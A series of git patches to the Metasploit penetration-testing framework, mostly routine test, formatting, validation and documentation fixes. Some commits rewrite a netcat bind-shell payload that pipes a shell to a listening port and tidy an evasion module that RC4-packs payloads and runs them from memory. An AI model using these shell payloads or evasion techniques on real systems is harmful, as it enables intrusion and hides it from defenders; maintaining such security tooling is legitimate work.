diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
index 4803886cc359b..fa086e814996d 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
@@ -54,7 +54,26 @@
       let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' }
 
       it 'reports the WordPress service over HTTP' do
-        expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress'))
+        expect(subject).to receive(:report_service).with(hash_including({host: nil,
+                                                                         port: 80,
+                                                                         proto: 'tcp',
+                                                                         name: 'WordPress',
+                                                                         parents: {
+                                                                           name: 'https',
+                                                                           host: nil,
+                                                                           port:
+                                                                             80,
+                                                                           proto: 'tcp',
+                                                                           parents: {
+                                                                             name: 'tcp',
+                                                                             host:
+                                                                               nil,
+                                                                             port:
+                                                                               80,
+                                                                             proto: 'tcp',
+                                                                             parents: nil
+                                                                           }
+                                                                         }}))
         subject.wordpress_and_online?
       end
     end
diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
index 8cf3bdfe41424..2a7833e0e3551 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
@@ -189,22 +189,24 @@
 
       it 'reports the WordPress service over HTTP' do
         expect(subject).to receive(:report_service).with(hash_including({host: nil,
-port: 80,
-proto: 'tcp',
-name: 'WordPress',
-parents: {
-  name: 'https',
-  host: nil,
-  port: 80,
-  proto: 'tcp',
-  parents: {
-    name: 'tcp',
-    host: nil,
-    port: 80,
-    proto: 'tcp',
-    parents: nil
-  }
-}}))
+                                                                          port: 80,
+                                                                          proto: 'tcp',
+                                                                          name: 'WordPress',
+                                                                          parents: {
+                                                                            name: 'https',
+                                                                            host: nil,
+                                                                            port: 80,
+                                                                            proto: 'tcp',
+                                                                            parents: {
+                                                                              name: 'tcp',
+                                                                              host:
+                                                                                nil,
+                                                                              port: 80,
+                                                                              proto: 'tcp',
+                                                                              parents:
+                                                                                nil
+                                                                            }
+                                                                          }}))
         subject.send(:check_version_from_readme, :plugin, 'name')
       end
     end

From c905ec66e45e99ff69b177c40422aac8f05ac1da Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <88535377+Chocapikk@users.noreply.github.com>
Date: Tue, 24 Feb 2026 23:19:03 +0100
Subject: [PATCH 024/103] Update
 modules/exploits/multi/http/spip_saisies_rce.rb

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
---
 modules/exploits/multi/http/spip_saisies_rce.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb
index de5af7b054f54..4be98058fd356 100644
--- a/modules/exploits/multi/http/spip_saisies_rce.rb
+++ b/modules/exploits/multi/http/spip_saisies_rce.rb
@@ -178,7 +178,7 @@ def extract_internal_links(res)
     doc.css('a[href]').each do |a|
       href = a['href'].to_s.strip
       next if href.empty? || href.start_with?('#', 'mailto:', 'javascript:')
-      next if href.match?(/\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(\?|$)/i)
+      next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)
 
       # Resolve relative URLs to absolute paths
       if href.start_with?('http://', 'https://')

From ece296ba6a6a8a92ca165e40fab2527118f5cb03 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Tue, 24 Feb 2026 23:23:17 +0100
Subject: [PATCH 025/103] Fix: Address jvoisin's PR review feedback

- Remove IOC_IN_LOGS (payload is in POST body, not logged)
- Remove redundant early filter (regex handles it)
- Use non-capturing groups in static asset regex
- Filter protocol-relative URLs before link resolution
- Clarify relative vs absolute path handling in crawler

Co-Authored-By: jvoisin <325724+jvoisin@users.noreply.github.com>
---
 modules/exploits/multi/http/spip_saisies_rce.rb | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb
index 4be98058fd356..a0df58d223e2f 100644
--- a/modules/exploits/multi/http/spip_saisies_rce.rb
+++ b/modules/exploits/multi/http/spip_saisies_rce.rb
@@ -72,7 +72,7 @@ def initialize(info = {})
         'Notes' => {
           'Stability' => [CRASH_SAFE],
           'Reliability' => [REPEATABLE_SESSION],
-          'SideEffects' => [IOC_IN_LOGS]
+          'SideEffects' => []
         }
       )
     )
@@ -177,12 +177,13 @@ def extract_internal_links(res)
 
     doc.css('a[href]').each do |a|
       href = a['href'].to_s.strip
-      next if href.empty? || href.start_with?('#', 'mailto:', 'javascript:')
       next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)
 
+      # Skip protocol-relative URLs (//cdn.example.com)
+      next if href.start_with?('//')
+
       # Resolve relative URLs to absolute paths
       if href.start_with?('http://', 'https://')
-        # Only follow links on the same host
         uri = begin
           URI.parse(href)
         rescue StandardError

From 3d17c866102090c27acc23c5a41bea696e7048e3 Mon Sep 17 00:00:00 2001
From: dledda-r7 <diego_ledda@rapid7.com>
Date: Wed, 25 Feb 2026 03:19:52 -0500
Subject: [PATCH 026/103] feat: exposing more configuration as advanced options
 in bind_netcat payload

---
 modules/payloads/singles/cmd/unix/bind_netcat.rb | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb
index 7940233137c6b..07f195b08250f 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb
@@ -37,7 +37,8 @@ def initialize(info = {})
       [
         OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
         OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']),
-        OptBool.new('ShortCommand', [false, 'Use a shorter command string (hardcoded mkfifo name and shell)', false])
+        OptString.new('FifoPath', [true, 'The path to the FIFO file to use, default is random', "/tmp/#{Rex::Text.rand_text_alpha_lower(4..7)}"]),
+        OptBool.new('DeleteFifo', [true, 'Whether to delete the FIFO file after execution', true])
       ]
     )
   end
@@ -54,12 +55,8 @@ def generate(_opts = {})
   # Returns the command string to use for execution
   #
   def command_string
-    if datastore['ShortCommand']
-      payload = "mkfifo p;#{datastore["ShellPath"]} -i<p 2>&1|#{datastore["NetcatPath"]} -l #{datastore['LPORT']}>p"
-    else
-      backpipe = Rex::Text.rand_text_alpha_lower(4..7)
-      payload = "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0</tmp/#{backpipe} | #{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
-    end
-    payload
+    command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 | #{datastore['NetcatPath']} -lp #{datastore['LPORT']} >#{datastore['FifoPath']}"
+    command += "; rm #{datastore['FifoPath']}" if datastore['DeleteFifo']
+    command
   end
 end

From a0cf8b488b16b0e1f8ccee1c0f076311059850ff Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Wed, 25 Feb 2026 13:10:30 +0100
Subject: [PATCH 027/103] Fix: Resolve protocol-relative URLs instead of
 skipping them

---
 modules/exploits/multi/http/spip_saisies_rce.rb | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb
index a0df58d223e2f..e2199953b8436 100644
--- a/modules/exploits/multi/http/spip_saisies_rce.rb
+++ b/modules/exploits/multi/http/spip_saisies_rce.rb
@@ -179,10 +179,12 @@ def extract_internal_links(res)
       href = a['href'].to_s.strip
       next if href.match?(/\.(?:css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(?:\?|$)/i)
 
-      # Skip protocol-relative URLs (//cdn.example.com)
-      next if href.start_with?('//')
+      # Resolve protocol-relative URLs (//example.com/page)
+      if href.start_with?('//')
+        href = "#{ssl ? 'https' : 'http'}:#{href}"
+      end
 
-      # Resolve relative URLs to absolute paths
+      # Resolve absolute URLs to paths
       if href.start_with?('http://', 'https://')
         uri = begin
           URI.parse(href)

From 73bc6ef1189d9315b7380b8bf8c84289ef07400e Mon Sep 17 00:00:00 2001
From: dledda-r7 <diego_ledda@rapid7.com>
Date: Wed, 25 Feb 2026 09:25:25 -0500
Subject: [PATCH 028/103] feat: add netcat flavor option to bind_netcat module
 for linux and bsd compatibility

---
 modules/payloads/singles/cmd/unix/bind_netcat.rb | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb
index 07f195b08250f..896879a789a35 100644
--- a/modules/payloads/singles/cmd/unix/bind_netcat.rb
+++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb
@@ -36,6 +36,7 @@ def initialize(info = {})
     register_advanced_options(
       [
         OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
+        OptEnum.new('NetcatFlavor', [true, 'The flavor of Netcat to use', 'auto', ['auto', 'default', 'openbsd']]),
         OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']),
         OptString.new('FifoPath', [true, 'The path to the FIFO file to use, default is random', "/tmp/#{Rex::Text.rand_text_alpha_lower(4..7)}"]),
         OptBool.new('DeleteFifo', [true, 'Whether to delete the FIFO file after execution', true])
@@ -55,7 +56,19 @@ def generate(_opts = {})
   # Returns the command string to use for execution
   #
   def command_string
-    command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 | #{datastore['NetcatPath']} -lp #{datastore['LPORT']} >#{datastore['FifoPath']}"
+    nc_linux = "#{datastore['NetcatPath']} -lp #{datastore['LPORT']}"
+    nc_openbsd = "#{datastore['NetcatPath']} -l #{datastore['LPORT']}"
+    nc_auto = "(#{nc_linux} || #{nc_openbsd})"
+    command = "mkfifo #{datastore['FifoPath']}; #{datastore['ShellPath']} -i <#{datastore['FifoPath']} 2>&1 |"
+    case datastore['NetcatFlavor']
+    when 'default'
+      command += " #{nc_linux}"
+    when 'openbsd'
+      command += " #{nc_openbsd}"
+    else
+      command += " #{nc_auto}"
+    end
+    command += ">#{datastore['FifoPath']}"
     command += "; rm #{datastore['FifoPath']}" if datastore['DeleteFifo']
     command
   end

From efe3ef8986265e31fdd6862db215afd5a8f42504 Mon Sep 17 00:00:00 2001
From: g0t mi1k <have.you.g0tmi1k@gmail.com>
Date: Thu, 26 Feb 2026 14:48:01 +0000
Subject: [PATCH 029/103] Running-Private-Modules.md: Remove duplicate cmds

---
 docs/metasploit-framework.wiki/Running-Private-Modules.md | 2 --
 1 file changed, 2 deletions(-)

diff --git a/docs/metasploit-framework.wiki/Running-Private-Modules.md b/docs/metasploit-framework.wiki/Running-Private-Modules.md
index 6d1ec4f6b4ce5..d568d966de452 100644
--- a/docs/metasploit-framework.wiki/Running-Private-Modules.md
+++ b/docs/metasploit-framework.wiki/Running-Private-Modules.md
@@ -37,8 +37,6 @@ For full details:
 If you already have msfconsole running, use a `reload_all` command to pick up your new modules. If not, just start msfconsole and they'll be picked up automatically. If you'd like to test with something generic, I have a module posted up as a gist, here: <https://gist.github.com/todb-r7/5935519>, so let's give it a shot:
 
 ```bash
-mkdir -p $HOME/.msf4/modules/exploits/test
-curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/17f7e40ab9054051c1f7e0655c6f8c8a1787d4f5/test_module.rb
 todb@ubuntu:~$ mkdir -p $HOME/.msf4/modules/exploits/test
 todb@ubuntu:~$ curl -Lo ~/.msf4/modules/exploits/test/test_module.rb https://gist.github.com/todb-r7/5935519/raw/6e5d2da61c82b0aa8cec36825363118e9dd5f86b/test_module.rb
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

From 5c4e5e414f548d72a767a0aca185360aad64d353 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Thu, 26 Feb 2026 17:19:43 +0100
Subject: [PATCH 030/103] Fix: Use validate method with OptionValidateError
 instead of validate_options!

---
 modules/auxiliary/gather/leakix_search.rb | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index a5ddd3e65f135..6e1fb637b3e00 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -488,23 +488,28 @@ def read_socket(sock)
   # MAIN
   # ========================================================================
 
-  def validate_options!
+  def validate
+    super
+
+    errors = {}
+
     case action.name
     when 'SEARCH', 'BULK'
-      fail_with(Failure::BadConfig, "QUERY is required for #{action.name} action") if datastore['QUERY'].blank?
+      errors['QUERY'] = "QUERY is required for #{action.name} action" if datastore['QUERY'].blank?
     when 'HOST'
-      fail_with(Failure::BadConfig, 'TARGET_IP is required for HOST action') if datastore['TARGET_IP'].blank?
+      errors['TARGET_IP'] = 'TARGET_IP is required for HOST action' if datastore['TARGET_IP'].blank?
     when 'DOMAIN', 'SUBDOMAINS'
-      fail_with(Failure::BadConfig, "TARGET_DOMAIN is required for #{action.name} action") if datastore['TARGET_DOMAIN'].blank?
+      errors['TARGET_DOMAIN'] = "TARGET_DOMAIN is required for #{action.name} action" if datastore['TARGET_DOMAIN'].blank?
     end
 
-    fail_with(Failure::BadConfig, 'BULK action only supports leak scope') if action.name == 'BULK' && datastore['SCOPE'] == 'service'
-    fail_with(Failure::BadConfig, 'MAXPAGE must be between 1 and 500') unless datastore['MAXPAGE'].to_i.between?(1, 500)
-    fail_with(Failure::BadConfig, 'MAXRESULTS must be >= 0') if datastore['MAXRESULTS'].to_i < 0
+    errors['SCOPE'] = 'BULK action only supports leak scope' if action.name == 'BULK' && datastore['SCOPE'] == 'service'
+    errors['MAXPAGE'] = 'MAXPAGE must be between 1 and 500' unless datastore['MAXPAGE'].to_i.between?(1, 500)
+    errors['MAXRESULTS'] = 'MAXRESULTS must be >= 0' if datastore['MAXRESULTS'].to_i < 0
+
+    raise Msf::OptionValidateError, errors unless errors.empty?
   end
 
   def run
-    validate_options!
 
     case action.name
     when 'SEARCH' then action_search

From 2bc2a3e3c099caee34fe48ce9393ec91bc1ccad7 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Thu, 26 Feb 2026 17:26:23 +0100
Subject: [PATCH 031/103] Fix: Remove extra empty line in run method

---
 modules/auxiliary/gather/leakix_search.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index 6e1fb637b3e00..0363d892502e4 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -510,7 +510,6 @@ def validate
   end
 
   def run
-
     case action.name
     when 'SEARCH' then action_search
     when 'BULK' then action_bulk

From 2540a16062ec4ac38ba3584255f35623a3004dec Mon Sep 17 00:00:00 2001
From: "[Aaditya1273]" <aadityaiitian1515@gmail.com>
Date: Fri, 27 Feb 2026 06:58:34 +0530
Subject: [PATCH 032/103] Fix msfrpcd JSON-RPC SSL check incorrectly requiring
 msfdb init #21022

---
 msfrpcd | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/msfrpcd b/msfrpcd
index eaec0b9e73cb1..4e83804d27797 100755
--- a/msfrpcd
+++ b/msfrpcd
@@ -208,8 +208,8 @@ if $PROGRAM_NAME == __FILE__
   begin
     if json_rpc
 
-      if !File.file?(ws_ssl_key_default) || !File.file?(ws_ssl_cert_default)
-        $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first."
+      if opts['SSL'] && (!File.file?(ws_ssl_key) || !File.file?(ws_ssl_cert))
+        $stdout.puts "[-] It doesn't appear msfdb has been run; please run 'msfdb init' first to generate SSL certificates."
         abort
       end
 

From a6eb33b6576ddf2654584f7fa317cf299095a96e Mon Sep 17 00:00:00 2001
From: Hemang360 <bhagathemang360@gmail.com>
Date: Fri, 27 Feb 2026 14:58:37 +0530
Subject: [PATCH 033/103] Fix httpcookie constructor to handle non string value

---
 lib/msf/core/exploit/remote/http/http_cookie.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/remote/http/http_cookie.rb b/lib/msf/core/exploit/remote/http/http_cookie.rb
index d20ea7c514359..b1b042d97bcaa 100644
--- a/lib/msf/core/exploit/remote/http/http_cookie.rb
+++ b/lib/msf/core/exploit/remote/http/http_cookie.rb
@@ -24,7 +24,7 @@ class HttpCookie
           # +accessed_at+, +created_at+.
           def initialize(name, value = nil, **attr_hash)
             if value
-              @cookie = ::HTTP::Cookie.new(name, value)
+              @cookie = ::HTTP::Cookie.new(name, value.is_a?(String) ? value : value.to_s)
             else
               @cookie = ::HTTP::Cookie.new(name)
             end

From b2500442fe6c19c65b8177adb7c3d8995aca9a8b Mon Sep 17 00:00:00 2001
From: Hemang360 <bhagathemang360@gmail.com>
Date: Fri, 27 Feb 2026 15:01:16 +0530
Subject: [PATCH 034/103] Fix cookie jar documentation examples and add test

---
 .../How-to-Send-an-HTTP-Request-Using-HttpClient.md   | 11 +++++++----
 .../exploit/remote/remote/http/http_cookie_spec.rb    |  9 ++++++++-
 2 files changed, 15 insertions(+), 5 deletions(-)

diff --git a/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md b/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md
index 99fdea52b4d58..d835900e07a17 100644
--- a/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md
+++ b/docs/metasploit-framework.wiki/How-to-Send-an-HTTP-Request-Using-HttpClient.md
@@ -81,14 +81,17 @@ Any object passed to `cookie` that isn't an instance of HttpCookieJar will have
 
 ----
 
-Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option:
+Module authors can also pass an instance of `HttpCookieJar` with the `cookie` option.
+
+Important: Cookies added to a `HttpCookieJar` must have both `domain` and `path` set, and cookie values must be strings. Without these attributes the underlying cookie store will raise an `ArgumentError`.
 
 ```ruby
 cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new
 
-cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid))
-cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', 1))
-cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', 1))
+target_host = datastore['RHOST']
+cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('PHPSESSID', @phpsessid, domain: target_host, path: '/'))
+cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('AsWebStatisticsCooKie', '1', domain: target_host, path: '/'))
+cj.add(Msf::Exploit::Remote::HTTP::HttpCookie.new('shellinaboxCooKie', '1', domain: target_host, path: '/'))
 
 res = send_request_cgi({
   'method' => 'GET',
diff --git a/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb b/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb
index 0fe2aeb644854..747502023bbe2 100644
--- a/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb
+++ b/spec/lib/msf/core/exploit/remote/remote/http/http_cookie_spec.rb
@@ -68,7 +68,14 @@ def random_string(min_len = 1, max_len = 12)
         expect(cookie.value.class).to eql(String)
       end
     end
-
+    
+    describe 'Integer' do
+      it 'passed as value during initialization is converted to a String' do
+        c = described_class.new('test_cookie', 1)
+        expect(c.value).to eql('1')
+        expect(c.value.class).to eql(String)
+      end
+    end
     describe 'nil' do
       it 'assigned to value results in it being set to an empty string and expires is set UNIX_EPOCH' do
         v = nil

From 22b63ae79e7f447e7efb8eadad4e8b6dca6b164b Mon Sep 17 00:00:00 2001
From: Ramesh <adhikari.resume@gmail.com>
Date: Fri, 27 Feb 2026 19:38:03 +0530
Subject: [PATCH 035/103] Fix reload_all failing with unknown command reload

---
 lib/msf/ui/console/command_dispatcher/modules.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb
index 23c0d1f3aef83..27ad73109ac86 100644
--- a/lib/msf/ui/console/command_dispatcher/modules.rb
+++ b/lib/msf/ui/console/command_dispatcher/modules.rb
@@ -1104,7 +1104,7 @@ def cmd_reload_all(*args)
               wlog(log_msg)
             end
 
-            self.driver.run_single('reload')
+            self.driver.run_single('reload') if self.driver.active_module
             self.driver.run_single("banner")
           end
 

From b6acc1fd28df9946b54b01e769cd9f6aa8284754 Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Fri, 27 Feb 2026 15:21:04 +0100
Subject: [PATCH 036/103] moved rc4_packer to x64 sub-directory

---
 .../{x64_rc4_packer.rb => x64/rc4_packer.rb}  | 27 +++++++++----------
 1 file changed, 13 insertions(+), 14 deletions(-)
 rename modules/evasion/linux/{x64_rc4_packer.rb => x64/rc4_packer.rb} (69%)

diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64/rc4_packer.rb
similarity index 69%
rename from modules/evasion/linux/x64_rc4_packer.rb
rename to modules/evasion/linux/x64/rc4_packer.rb
index 300b33bf5d1f2..df076f3821d9c 100644
--- a/modules/evasion/linux/x64_rc4_packer.rb
+++ b/modules/evasion/linux/x64/rc4_packer.rb
@@ -13,23 +13,23 @@ def initialize(info = {})
     super(
       update_info(
         info,
-        'Name'           => 'Linux RC4 Encrypted Payload Generator',
-        'Description'    => %q{
+        'Name' => 'Linux RC4 Encrypted Payload Generator',
+        'Description' => %q{
           This module generates a Linux ELF executable with RC4 encryption
           and optional sleep-based sandbox evasion.
 
           The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support.
-          
+
           Features:
           - RC4 encryption with configurable key
           - Fileless execution via memfd_create
         },
-        'Author'         => ['Massimo Bertocchi'],
-        'License'        => MSF_LICENSE,
-        'Platform'       => 'linux',
-        'Arch'           => [ARCH_X64],
-        'Targets'        => [['Linux x64', {}]],
-        'DefaultTarget'  => 0,
+        'Author' => ['Massimo Bertocchi'],
+        'License' => MSF_LICENSE,
+        'Platform' => 'linux',
+        'Arch' => [ARCH_X64],
+        'Targets' => [['Linux x64', {}]],
+        'DefaultTarget' => 0,
       )
     )
 
@@ -40,17 +40,16 @@ def initialize(info = {})
   end
 
   def run
-
     raw_payload = payload.encoded
     if raw_payload.blank?
-      fail_with(Failure::BadConfig, "Failed to generate payload")
+      fail_with(Failure::BadConfig, 'Failed to generate payload')
     end
 
     elf_payload = Msf::Util::EXE.to_linux_x64_elf(framework, raw_payload)
-    complete_loader = sleep_evasion( seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload))
+    complete_loader = sleep_evasion(seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload))
     final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, complete_loader)
+
     File.binwrite(datastore['FILENAME'], final_elf)
     File.chmod(0755, datastore['FILENAME'])
-
   end
-end
+end
\ No newline at end of file

From 003ac7b12d613963495a316435321df6470ac722 Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Fri, 27 Feb 2026 15:44:28 +0100
Subject: [PATCH 037/103] changed description

---
 modules/evasion/linux/x64/rc4_packer.rb | 15 +++++----------
 1 file changed, 5 insertions(+), 10 deletions(-)

diff --git a/modules/evasion/linux/x64/rc4_packer.rb b/modules/evasion/linux/x64/rc4_packer.rb
index df076f3821d9c..62d80dfd2012f 100644
--- a/modules/evasion/linux/x64/rc4_packer.rb
+++ b/modules/evasion/linux/x64/rc4_packer.rb
@@ -15,21 +15,16 @@ def initialize(info = {})
         info,
         'Name' => 'Linux RC4 Encrypted Payload Generator',
         'Description' => %q{
-          This module generates a Linux ELF executable with RC4 encryption
-          and optional sleep-based sandbox evasion.
-
-          The evasion module works on systems with Linux Kernel > 3.17 due to memfd_create support.
-
-          Features:
-          - RC4 encryption with configurable key
-          - Fileless execution via memfd_create
+          This evasion module packs Linux payloads using RC4 encryption
+          and executes them from memory using memfd_create for fileless execution.
+          Linux kernel version support: 3.17+
         },
         'Author' => ['Massimo Bertocchi'],
         'License' => MSF_LICENSE,
         'Platform' => 'linux',
         'Arch' => [ARCH_X64],
         'Targets' => [['Linux x64', {}]],
-        'DefaultTarget' => 0,
+        'DefaultTarget' => 0
       )
     )
 
@@ -50,6 +45,6 @@ def run
     final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, complete_loader)
 
     File.binwrite(datastore['FILENAME'], final_elf)
-    File.chmod(0755, datastore['FILENAME'])
+    File.chmod(0o755, datastore['FILENAME'])
   end
 end
\ No newline at end of file

From c5c67fac56cb93db4391b8db312b7eec51804ed4 Mon Sep 17 00:00:00 2001
From: litemars <maxmassi12@gmail.com>
Date: Fri, 27 Feb 2026 16:02:35 +0100
Subject: [PATCH 038/103] new line for linter

---
 modules/evasion/linux/x64/rc4_packer.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/evasion/linux/x64/rc4_packer.rb b/modules/evasion/linux/x64/rc4_packer.rb
index 62d80dfd2012f..c7ae6c773c248 100644
--- a/modules/evasion/linux/x64/rc4_packer.rb
+++ b/modules/evasion/linux/x64/rc4_packer.rb
@@ -47,4 +47,4 @@ def run
     File.binwrite(datastore['FILENAME'], final_elf)
     File.chmod(0o755, datastore['FILENAME'])
   end
-end
\ No newline at end of file
+end

From bfbc425469da22a978edd039fc38b4edc3fa0c6c Mon Sep 17 00:00:00 2001
From: Hemang Bhagat <bhagathemang360@gmail.com>
Date: Sun, 1 Mar 2026 15:12:44 +0530
Subject: [PATCH 039/103] Remove type check

Co-authored-by: gardnerapp <70026825+gardnerapp@users.noreply.github.com>
---
 lib/msf/core/exploit/remote/http/http_cookie.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/remote/http/http_cookie.rb b/lib/msf/core/exploit/remote/http/http_cookie.rb
index b1b042d97bcaa..98331dcaa18be 100644
--- a/lib/msf/core/exploit/remote/http/http_cookie.rb
+++ b/lib/msf/core/exploit/remote/http/http_cookie.rb
@@ -24,7 +24,7 @@ class HttpCookie
           # +accessed_at+, +created_at+.
           def initialize(name, value = nil, **attr_hash)
             if value
-              @cookie = ::HTTP::Cookie.new(name, value.is_a?(String) ? value : value.to_s)
+              @cookie = ::HTTP::Cookie.new(name, value.to_s)
             else
               @cookie = ::HTTP::Cookie.new(name)
             end

From 4b363017ef73540bad14bc7e562b6a601756e3b3 Mon Sep 17 00:00:00 2001
From: Nayeraneru <nayera.shafeeq@gmail.com>
Date: Tue, 3 Mar 2026 06:24:42 +0200
Subject: [PATCH 040/103] minor change for CI

---
 spec/lib/msf/core/exploit/http/wordpress/base_spec.rb    | 2 +-
 spec/lib/msf/core/exploit/http/wordpress/version_spec.rb | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
index fa086e814996d..50b15fd524cc7 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
@@ -59,7 +59,7 @@
                                                                          proto: 'tcp',
                                                                          name: 'WordPress',
                                                                          parents: {
-                                                                           name: 'https',
+                                                                           name: 'http',
                                                                            host: nil,
                                                                            port:
                                                                              80,
diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
index 2a7833e0e3551..0cbf8a579f97c 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
@@ -193,7 +193,7 @@
                                                                           proto: 'tcp',
                                                                           name: 'WordPress',
                                                                           parents: {
-                                                                            name: 'https',
+                                                                            name: 'http',
                                                                             host: nil,
                                                                             port: 80,
                                                                             proto: 'tcp',

From 9c7264b48fabce49bb27350851a982899382a49c Mon Sep 17 00:00:00 2001
From: Martin Sutovsky <martin_sutovsky@rapid7.com>
Date: Tue, 3 Mar 2026 15:42:15 +0100
Subject: [PATCH 041/103] Updates description

---
 .../linux/http/beyondtrust_pra_rs_command_injection.rb | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb b/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb
index 47d7868487d16..a1dff8b3868c6 100644
--- a/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb
+++ b/modules/exploits/linux/http/beyondtrust_pra_rs_command_injection.rb
@@ -18,15 +18,7 @@ def initialize(info = {})
